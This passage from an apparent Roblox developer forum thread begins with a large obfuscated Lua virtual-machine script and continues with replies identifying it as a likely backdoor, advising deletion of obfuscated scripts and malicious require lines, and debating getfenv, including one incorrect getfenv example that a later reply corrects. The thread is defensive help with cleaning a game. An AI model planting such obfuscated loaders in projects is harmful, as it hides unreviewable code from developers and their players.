ij=R()-0X1AF7;Mj=7;end;end;end;end;end;end;local Jj=(nil);for N6=0,6 do do if N6<=2 then if N6<=0x0 then for QB=1,j()do cj[QB]={E(),j()};end;else do if N6~=0X1 then(Tj)[5]=j();else do(Tj)[0X0003]=j();end;end;end;end;else if N6<=0X4 then if N6~=0X3 then Tj[2]=j();else do(Tj)[13]=E();end;end;else if N6==5 then(Tj)[NH]=E();else Jj={};end;end;end;end;end;local tj=(R()-78351);local uj=E();do Mj=1;end;local Xj=nil;while Mj~=2 do if Mj==0x0000 then for rr=1,tj do local Gr=(WH);local br=E();local Lr=(nil);local Nr=0X1;while(true)do if Nr<=0 then if br==0x50 then do Gr=X(CH(uj),R());end;elseif br==94 then Gr=false;elseif br==234 then Gr=X(CH(uj),0X00012);elseif br==0x48 then Gr=R();elseif br==nH then do Gr=D()+R();end;elseif br==85 then do Gr=D();end;elseif br==10 then Gr=D()+R();elseif br==0X0025 then Gr=D();elseif br==0X000e7 then Gr=D()+R();elseif br==0X9F then Gr=o();elseif br==0X40 then Gr=X(CH(uj),4);elseif br==59 then Gr=qH;end;Nr=0X2;else if Nr~=0X1 then Lr={Gr,{}};break;else Oj[rr-1]=Qj;Nr=0x0;end;end;end;Nr=2;while Nr<=2 do if Nr<=0 then if Xj then local zE=0x001;while(true)do if zE==0X0 then do JH=JH+1;end;break;else do YH[JH]=Lr;end;zE=0X00;end;end;end;Nr=0X00003;else if Nr~=0X00001 then Jj[Qj]=Lr;do Nr=1;end;else Qj=Qj+1;Nr=0;end;end;end;end;do Mj=2;end;else Xj=E()~=0x00000;Mj=0X0;end;end;Mj=0;local zj=(nil);repeat do if not(Mj<=0)then do if Mj~=0X1 then do for T5=1,zj do local q5,f5,F5=nil,nil,nil;do for gr=0,3 do if not(gr<=1)then do if gr==2 then do F5=R();end;else for tg=q5,f5 do Tj[fH][tg]=F5;end;end;end;else if gr==0X0000 then q5=R();else f5=R();end;end;end;end;end;end;break;else zj=R();do Mj=0X2;end;end;end;else(Tj)[0X10]=R();Mj=0X1;end;end;until(false);local fj,vj,pj=Tj[0X04],nil,(nil);for vx=0,0x3 do do if vx<=1 then if vx~=0 then for hh=1,vj do(fj)[hh]={[0X0005]=E(),[tH]=S(),[0X3]=S(),[hH]=E(),[0X4]=E(),[1]=S(),[6]=j()};end;else vj=R()-71305;end;else if vx==0X2 then for si=0X01,vj do local Di,Bi=1,(nil);do while Di~=0X2 do if Di~=0X000 then Bi=Tj[0X04][si];Di=0X000;else for U8,r8 in ipairs(h)do local J8,M8=0X0001,(nil);local R8=(K[r8]);while J8<0X0002 do if J8==0 then if M8==10 then local T0,Y0=nil,nil;local d0=1;do while d0~=3 do if not(d0<=0)then if d0==0X1 then T0=Oj[Bi[r8]];d0=0;else if Y0 then local sB=nil;do for EY=0X0,0x0002 do if not(EY<=0)then if EY==0X00001 then do sB=Y0[2];end;else(sB)[#sB+1]={Bi,R8};end;else do(Bi)[R8]=Y0[sH];end;end;end;end;end;d0=3;end;else Y0=Jj[T0];d0=0X0002;end;end;end;elseif M8==1 then do(Bi)[r8]=si+Bi[r8]+0X1;end;end;J8=0X2;else do M8=Bi[R8];end;J8=0;end;end;end;Di=2;end;end;end;end;else pj=E();end;end;end;end;for lx=0,0x0001 do if lx~=0X0 then Tj[1]=V(pj,0X00002,1)~=0x00;else Tj[6]=V(pj,sH,0X0001)~=0;end;end;do Tj[0X10]=R();end;for xj=0,1 do if xj~=0 then do return Tj;end;else(Tj)[15]=E();end;end;end;do KH=2;end;end;end;end;else if not(KH<=3)then if KH==4 then lH[4]=YH;do KH=5;end;else YH=WH;KH=0X0006;end;else function XH(Pm,sm,ym)local em,Dm=ym[0X0003],ym[9];local Im=(ym[5]);local lm,jm=ym[6],(ym[1]);local am=(ym[2]);local Jm,Rm=ym[0X04],(ym[0X07]);local Hm=r({},{__mode='v'});local xm=(nil);xm=function(...)local qi=0X0001;local Ai=(i and i()or _ENV);local mi={};local Li,ai=mH(...);local ti=((Ai==g and Pm or Ai));Li=Li-0X1;for Iz=0X0,Li do if not(am>Iz)then do break;end;else do(mi)[Iz]=ai[Iz+1];end;end;end;(lH)[0X01]=ym;(lH)[0X002]=mi;local zi=(0);if not lm then do ai=nil;end;else if not(jm)then else mi[am]={n=Li>=am and Li-am+1 or 0,x(ai,am+1,Li+0X01)};end;end;if ti~=Ai then if k then(k)(xm,ti);else _ENV=ti;end;end;local Ri,Pi,ki,xi=m(function()repeat local Oz=Jm[qi];local Cz=(Oz[6]);do qi=qi+0X1;end;do if Cz>=43 then do if not(Cz>=0X40)then do if not(Cz>=53)then do if Cz>=48 then if Cz>=50 then if not(Cz>=0x33)then(mi)[Oz[0X00001]]=mi[Oz[0X3]]~=Oz[7];else if Cz==0X34 then mi[Oz[1]]=mi[Oz[0X3]]%mi[Oz[0x0002]];else do mi[Oz[1]]=mi[Oz[0X3]]/mi[Oz[2]];end;end;end;else do if Cz==0x31 then local lE=Oz[1];do mi[lE]=mi[lE](x(mi,lE+1,zi));end;do zi=lE;end;else local yk=(mi[Oz[3]]/mi[Oz[0x00002]]);(mi)[Oz[1]]=yk-yk%0x1;end;end;end;else if Cz>=0X2d then if Cz<0X02e then(mi)[Oz[0X0001]]=-mi[Oz[3]];else if Cz==47 then(mi)[Oz[0X1]]=#mi[Oz[3]];else qi=Oz[0x03];end;end;else if Cz~=0X2c then do(mi)[Oz[0X00001]]=lH[Oz[3]];end;else local gm=(Oz[1]);local zm=(Oz[2]-0x1)*50;local Qm=mi[gm];for mh=0X00001,zi-gm do Qm[zm+mh]=mi[gm+mh];end;end;end;end;end;elseif Cz<58 then if Cz<0X37 then if Cz~=0X0036 then local NA=Oz[0x001];zi=NA+Oz[3]-1;(mi[NA])(x(mi,NA+0X1,zi));do zi=NA-1;end;else mi[Oz[0X1]]=Oz[0X004];end;else if not(Cz<56)then if Cz==57 then do(mi)[Oz[1]]=mi[Oz[0X003]]^mi[Oz[0X2]];end;else(mi)[Oz[1]]=mi[Oz[3]]<=mi[Oz[2]];end;else repeat local NO,UO=Hm,(mi);if#NO>0X0 then local zL=({});for kY,PY in I,NO do do for DR,JR in I,PY do if JR[1]==UO and JR[2]>=0 then local We=(JR[2]);if not zL[We]then(zL)[We]={UO[We]};end;(JR)[1]=zL[We];JR[0X2]=0x1;end;end;end;end;end;until true;local w0=(Oz[1]);return false,w0,w0+Oz[0X0003]-0X2;end;end;else if not(Cz>=0X00003d)then if not(Cz>=59)then local Jb,Eb=Oz[1],(mi[Oz[0X003]]);(mi)[Jb+0X1]=Eb;(mi)[Jb]=Eb[Oz[0X7]];else if Cz~=0X0003C then local mT=Oz[1];mi[mT]=mi[mT](mi[mT+1],mi[mT+2]);zi=mT;else repeat local tc,qc=Hm,(mi);if not(#tc>0)then else local Ur=({});for e8,r8 in I,tc do for cH,jH in I,r8 do if jH[0x1]==qc and jH[2]>=0 then local me=jH[0x002];do if not Ur[me]then(Ur)[me]={qc[me]};end;end;do(jH)[0X0001]=Ur[me];end;jH[2]=1;end;end;end;end;until true;local SH=Oz[0X01];return false,SH,SH;end;end;else if not(Cz>=62)then zi=Oz[1];mi[zi]();do zi=zi-1;end;else if Cz==0X03f then(mi)[Oz[0X1]]=A(mi[Oz[0X03]]);else(mi)[Oz[0x1]]=mi[Oz[3]]==mi[Oz[0x002]];end;end;end;end;end;else if not(Cz>=75)then if not(Cz<69)then if not(Cz<72)then if not(Cz>=0X00049)then local SC,JC=Oz[1],Oz[0X3];do if JC~=0X0 then zi=SC+JC-0X1;end;end;local MC,NC=nil,nil;local FC=(Oz[2]);if JC~=0X1 then do MC,NC=mH(mi[SC](x(mi,SC+0X001,zi)));end;else MC,NC=mH(mi[SC]());end;if FC==1 then zi=SC-1;else if FC==0 then MC=MC+SC-0X1;zi=MC;else MC=SC+FC-0x2;do zi=MC+0X1;end;end;local Nw=(0);for Ed=SC,MC do Nw=Nw+1;(mi)[Ed]=NC[Nw];end;end;elseif Cz~=74 then repeat local iI,HI=Hm,mi;if not(#iI>0)then else local GQ={};do for xJ,pJ in I,iI do for Kq,Sq in I,pJ do if Sq[0x1]==HI and Sq[2]>=0 then local Bf=(Sq[0X2]);do if not GQ[Bf]then GQ[Bf]={HI[Bf]};end;end;(Sq)[1]=GQ[Bf];(Sq)[2]=1;end;end;end;end;end;until true;return true,Oz[1],0;else(mi)[Oz[1]]=false;end;else if not(Cz>=70)then local R3=(Oz[0X1]);local B3,Q3=mi[R3]();if B3 then(mi)[R3+1]=Q3;do qi=Oz[0X3];end;end;elseif Cz==0X47 then local n7=(Oz[0X3]);local Y7=(mi[n7]);do for V0=n7+1,Oz[2]do Y7=Y7..mi[V0];end;end;(mi)[Oz[0X1]]=Y7;else do(mi[Oz[1]])[Oz[4]]=mi[Oz[2]];end;end;end;else do if not(Cz<66)then if Cz>=0X43 then if Cz==68 then if Oz[0X02]==177 then qi=qi-0X00001;Jm[qi]={[3]=(Oz[0X03]-0X0A3),[6]=47,[1]=(Oz[1]-163)};elseif Oz[0X0002]==0X0009e then qi=qi-1;(Jm)[qi]={[0X00001]=(Oz[1]-38),[6]=0X6,[3]=(Oz[0x3]-38)};elseif Oz[0X0002]==0x050 then qi=qi-1;do(Jm)[qi]={[0x001]=(Oz[0x0001]-70),[6]=0x0042,[3]=(Oz[3]-0X046)};end;elseif not(not mi[Oz[0X1]])then else qi=Oz[0X3];end;else mi[Oz[1]]=mi[Oz[3]]-mi[Oz[0x02]];end;else(mi)[Oz[0X1]]=nil;end;else if Cz~=65 then if Oz[2]~=89 then local mJ=(Li-am);local lJ=(Oz[0x00001]);if not(mJ<0)then else mJ=-1;end;for hi=lJ,lJ+mJ do mi[hi]=ai[am+(hi-lJ)+0X1];end;zi=lJ+mJ;else do qi=qi-0X0001;end;do Jm[qi]={[1]=(Oz[0X1]-101),[0X6]=6,[0X00003]=(Oz[0X03]-0x65)};end;end;else repeat local OZ,RZ=Hm,(mi);if not(#OZ>0x0)then else local IG=({});for Ts,rs in I,OZ do do for sl,el in I,rs do do if not(el[1]==RZ and el[2]>=0)then else local TF=el[0X2];if not(not IG[TF])then else IG[TF]={RZ[TF]};end;el[1]=IG[TF];do el[2]=0x01;end;end;end;end;end;end;end;until"";return true,Oz[1],1;end;end;end;end;else do if not(Cz>=80)then if Cz<0X4D then if Cz==76 then do mi[Oz[1]]={x({},0x01,Oz[3])};end;else local s3=(Rm[Oz[0x3]]);local h3,z3=s3[8],nil;local M3=(#h3);if not(M3>0X0)then else z3={};do for PC=1,M3 do local fC=(h3[PC]);do if fC[0X01]~=0 then z3[PC-0X1]=sm[fC[2]];else do(z3)[PC-0X1]={mi,fC[0X2]};end;end;end;end;end;(z)(Hm,z3);end;(mi)[Oz[1]]=XH(ti,z3,s3);end;else do if not(Cz>=0X4E)then local oY=Oz[1];mi[oY](mi[oY+1],mi[oY+0X0002]);do zi=oY-1;end;else do if Cz==0X00004f then(mi[Oz[1]])[Oz[0x004]]=Oz[7];else local Ar,Kr=Oz[0X1],(Oz[3]);zi=Ar+Kr-0X001;repeat local vW,nW=Hm,mi;if#vW>0X0 then local l0=({});for po,Wo in I,vW do do for xE,vE in I,Wo do if vE[1]==nW and vE[2]>=0 then local ZU=vE[2];if not(not l0[ZU])then else(l0)[ZU]={nW[ZU]};end;vE[1]=l0[ZU];vE[0x2]=0X1;end;end;end;end;end;until-1028029815;do return true,Ar,Kr;end;end;end;end;end;end;else do if Cz<0X53 then if Cz>=81 then do if Cz~=0X52 then local Rr=(sm[Oz[0X003]]);(Rr[1])[Rr[0X2]]=mi[Oz[1]];else(mi)[Oz[1]]=mi[Oz[3]]%Oz[0X7];end;end;else local Ir=Oz[0x001];(mi[Ir])(x(mi,Ir+1,zi));zi=Ir-1;end;else if Cz<0X0054 then mi[Oz[1]]=true;elseif Cz~=0x00055 then(mi)[Oz[1]]=ti[Oz[0x4]];else local EB=Oz[0X003];mi[Oz[0x00001]]=mi[EB]..mi[EB+0X00001];end;end;end;end;end;end;end;end;else if not(Cz>=21)then do if Cz<0X0000a then if Cz<0X005 then if not(Cz<2)then if Cz<3 then local Qi=Oz[0X1];local Ui=mi[Qi+0x02];local Ni,si=mi[Qi],(mi[Qi+0X1]);(mi)[Qi]=w(function()for OU=Ni,si,Ui do v(true,OU);end;end);do qi=Oz[0X3];end;else do if Cz~=0x0004 then local FS=Oz[0x01];local CS=w(function(...)v();for TF,CF in...do(v)(true,TF,CF);end;end);CS(mi[FS],mi[FS+0x0001],mi[FS+0X2]);zi=FS;(mi)[FS]=CS;do qi=Oz[0X3];end;else do if mi[Oz[3]]<mi[Oz[2]]then do qi=Oz[0X1];end;end;end;end;end;end;else if Cz==1 then do mi[Oz[1]]=mi[Oz[3]]<mi[Oz[2]];end;else if Oz[2]~=99 then if not(mi[Oz[0x1]])then else qi=Oz[3];end;else qi=qi-0x1;Jm[qi]={[0X03]=(Oz[0X003]-117),[0X001]=(Oz[0X1]-117),[0X6]=0X42};end;end;end;else if not(Cz<7)then if not(Cz<8)then if Cz~=9 then mi[Oz[0X1]][mi[Oz[0x03]]]=mi[Oz[2]];else do repeat local Lv,Xv=Hm,(mi);if#Lv>0X000 then local YS=({});do for YI,bI in I,Lv do do for RJ,CJ in I,bI do if CJ[0X1]==Xv and CJ[0X00002]>=0X0 then local zz=CJ[2];if not(not YS[zz])then else YS[zz]={Xv[zz]};end;(CJ)[0X0001]=YS[zz];do(CJ)[2]=1;end;end;end;end;end;end;end;until true;end;do return false,Oz[1],zi;end;end;else(mi[Oz[0x001]])[mi[Oz[3]]]=Oz[7];end;else do if Cz~=0X6 then local FC,XC=Oz[1],(Oz[2]-0X001)*50;local wC=(mi[FC]);do for xx=0X1,Oz[0x0003]do wC[XC+xx]=mi[FC+xx];end;end;else do mi[Oz[1]]=mi[Oz[0X3]];end;end;end;end;end;else do if not(Cz>=15)then if not(Cz<0XC)then if not(Cz<13)then if Cz==0Xe then if mi[Oz[3]]==mi[Oz[2]]then else qi=Oz[1];end;else local hP=(Oz[1]);local wP,XP=mi[hP]();if not(wP)then else qi=Oz[3];(mi)[hP+3]=XP;end;end;else(mi)[Oz[1]]=mi[Oz[0X003]]+mi[Oz[0X2]];end;else if Cz~=11 then do(mi)[Oz[0X1]]=b(mi[Oz[0X3]],mi[Oz[0X2]]);end;else do if not(mi[Oz[3]]<=Oz[0x7])then qi=Oz[0X1];end;end;end;end;else do if not(Cz>=0x12)then do if Cz>=0X10 then if Cz~=17 then(mi)[Oz[0X1]]=mi[Oz[0x3]]~=mi[Oz[0X2]];else lH[Oz[0X00003]]=mi[Oz[1]];end;else if mi[Oz[0X00003]]~=mi[Oz[0x2]]then else qi=Oz[1];end;end;end;else if not(Cz>=19)then mi[Oz[0X1]]=mi[Oz[3]][Oz[0X0007]];else if Cz~=20 then mi[Oz[1]]=mi[Oz[0X0003]]>mi[Oz[2]];else local l6=(Oz[1]);(mi)[l6]=mi[l6](mi[l6+0x1]);zi=l6;end;end;end;end;end;end;end;end;elseif Cz>=0x00020 then if not(Cz<37)then if not(Cz>=0X28)then do if Cz<0X26 then local dm=Oz[0X1];local tm=(w(function(...)v();do for GG,hG,eG,AG,YG,LG,fG,FG,RG,oG in...do v(true,{GG,hG,eG,AG,YG,LG,fG,FG,RG,oG});end;end;end));(tm)(mi[dm],mi[dm+1],mi[dm+2]);zi=dm;do mi[dm]=tm;end;do qi=Oz[0X3];end;else if Cz==39 then if mi[Oz[0X3]]~=Oz[7]then else qi=Oz[1];end;else if not(mi[Oz[3]]<mi[Oz[2]])then qi=Oz[1];end;end;end;end;else if not(Cz<0x29)then if Cz~=42 then mi[Oz[1]]=e(mi[Oz[0X3]],mi[Oz[2]]);else mi[Oz[1]]={};end;else local kc=(Oz[0X1]);zi=kc+Oz[3]-0X00001;mi[kc]=mi[kc](x(mi,kc+1,zi));do zi=kc;end;end;end;else if not(Cz<0x22)then if not(Cz<35)then if Cz==36 then local TG=Oz[1];local LG=(w(function(...)(v)();for MX in...do v(true,MX);end;end));(LG)(mi[TG],mi[TG+0X0001],mi[TG+0X0002]);zi=TG;do(mi)[TG]=LG;end;do qi=Oz[0X03];end;else do(mi)[Oz[1]]=mi[Oz[0X3]][mi[Oz[2]]];end;end;else if mi[Oz[3]]<=mi[Oz[2]]then qi=Oz[1];end;end;else if Cz~=33 then repeat local OQ,cQ,vQ=Hm,mi,Oz[1];if#OQ>0 then local Rj={};for WD,lD in I,OQ do do for mx,Wx in I,lD do if not(Wx[0X0001]==cQ and Wx[0X2]>=vQ)then else local Fy=(Wx[2]);do if not Rj[Fy]then Rj[Fy]={cQ[Fy]};end;end;Wx[1]=Rj[Fy];do Wx[0X2]=0X1;end;end;end;end;end;end;until true;else mi[Oz[0X1]]=q(mi[Oz[3]],mi[Oz[2]]);end;end;end;else if Cz<26 then if Cz<0X17 then do if Cz==22 then(mi)[Oz[1]]=mi[Oz[0x3]]>=mi[Oz[0X2]];else if Oz[2]~=216 then do mi[Oz[0X00001]]=not mi[Oz[0X00003]];end;else qi=qi-1;Jm[qi]={[0X0001]=(Oz[0X1]-0X0f6),[0X3]=(Oz[3]-246),[0X6]=0X6};end;end;end;else if not(Cz>=24)then(mi)[Oz[1]]=y(mi[Oz[3]],mi[Oz[2]]);else if Cz==25 then local S2=Oz[1];local m2,x2,U2=mi[S2]();do if not(m2)then else do mi[S2+0X1]=x2;end;mi[S2+0X2]=U2;qi=Oz[0x03];end;end;else local ca=(sm[Oz[3]]);(mi)[Oz[1]]=ca[1][ca[0x2]];end;end;end;else if Cz>=0X0001D then if Cz>=0X1E then do if Cz==0x1f then(mi)[Oz[0X01]]=mi[Oz[0x03]]*mi[Oz[0x2]];else repeat local EI,rI=Hm,mi;if#EI>0X0000 then local Ok={};for VC,tC in I,EI do for JW,QW in I,tC do do if not(QW[1]==rI and QW[0X2]>=0X0)then else local EZ=(QW[2]);if not Ok[EZ]then do(Ok)[EZ]={rI[EZ]};end;end;do(QW)[1]=Ok[EZ];end;(QW)[2]=1;end;end;end;end;end;until true;return;end;end;else for S5=Oz[1],Oz[3]do(mi)[S5]=nil;end;end;else if Cz<27 then(ti)[Oz[4]]=mi[Oz[1]];else do if Cz==0X001C then local nM=(Oz[1]);mi[nM](mi[nM+0X001]);zi=nM-0X00001;else if mi[Oz[0X3]]==Oz[0x7]then else qi=Oz[1];end;end;end;end;end;end;end;end;end;until false;end);if not(Ri)then do if Y(Pi)=="string"then do if a(Pi,"attempt to yield across metamethod/C%-call boundary")then return coroutine.yield();end;end;if not(a(Pi,"\094\046\045\058%d+\058\032"))then l(Pi,0X00);else l('\076u\114a\112\104 \083c\114\105\112t:'..(Dm[qi-1]or"(internal)")..": "..J(Pi),0);end;else l(Pi,0x0);end;end;elseif Pi then if xi~=1 then do return mi[ki](x(mi,ki+1,zi));end;else do return mi[ki]();end;end;else if ki then return x(mi,ki,xi);end;end;end;do if k then(k)(xm,Pm);end;end;return xm;end;KH=1;end;end;until KH>5;return XH(g,WH,uH)(...);end)(bit,true,3,"",setmetatable,0X2,nil,0x0010000,tonumber,error,setfenv,72,5,string.char,0X8,'\108\115hift',table.unpack,0X0,52,0X009,0XF,unpack,coroutine.wrap,1,table.insert,0XA,0Xc,string,assert,"\098\111\114",select,0X7,bit32,string.rep,rawset,string.gsub,13,0XB,...);end;

2 Likes

You don’t have to send the entire code, just delete any scripts that are obfuscated or have any malicious require(00000000) lines of codes.
If you’d like to go more, you can just type “script” into the search bar of the explorer.

ok thanks bye!!!

You can’t really just search “Script” in the explorer to see all scripts, you have to use c:Script instead since the new search update.

Most regular roblox core script 100%

1 Like

From my experience, yes, GetFenv IS dangerous. A long time ago, I used a free model, and it had a script with GetFenv in it. It always teleported players from my game to another game, and it was very annoying. I now of course have way more experience and knowledge in Roblox development, so I’m good now.

I’m not 100% sure what GetFenv does, but when it was used in a script I had, it was doing bad stuff.

1 Like

GetFenv is not dangerous. By your logic everything is dangerous. The attacker could do the same without GetFenv, he probably copied bad or old code from a skiddie website that still uses GetFenv

so the first code isnt bad???

getfenv is not dangerous really. You cannot use it to gain access to server-sided bytecodes or anything like that, although I cannot say that it is really useful for anything.

All it does is retrieve a table of the variables that you defined in the global space.

so e.g:

apple = 1

print(getfenv()[1]) --> prints 'apple', defined in global space, which has a value of 1

okay, thanks for the response.

1 Like

Yeah its not really useful. Skids think they can make their backdoor harder to find by using getfenv and some bytecode. I use getgenv and setfenv for sandboxing.

1 Like

No, the first 2 are not bad. Only the obfuscated one with a long string of hex numbers.

This code does not output apple because that’s not how getfenv() works.

The function returns a table with key-value pairs where key is the the name of a global and value is the value of the said global. So in this case, the function will return {apple = 1}.

This topic was automatically closed 14 days after the last reply. New replies are no longer allowed.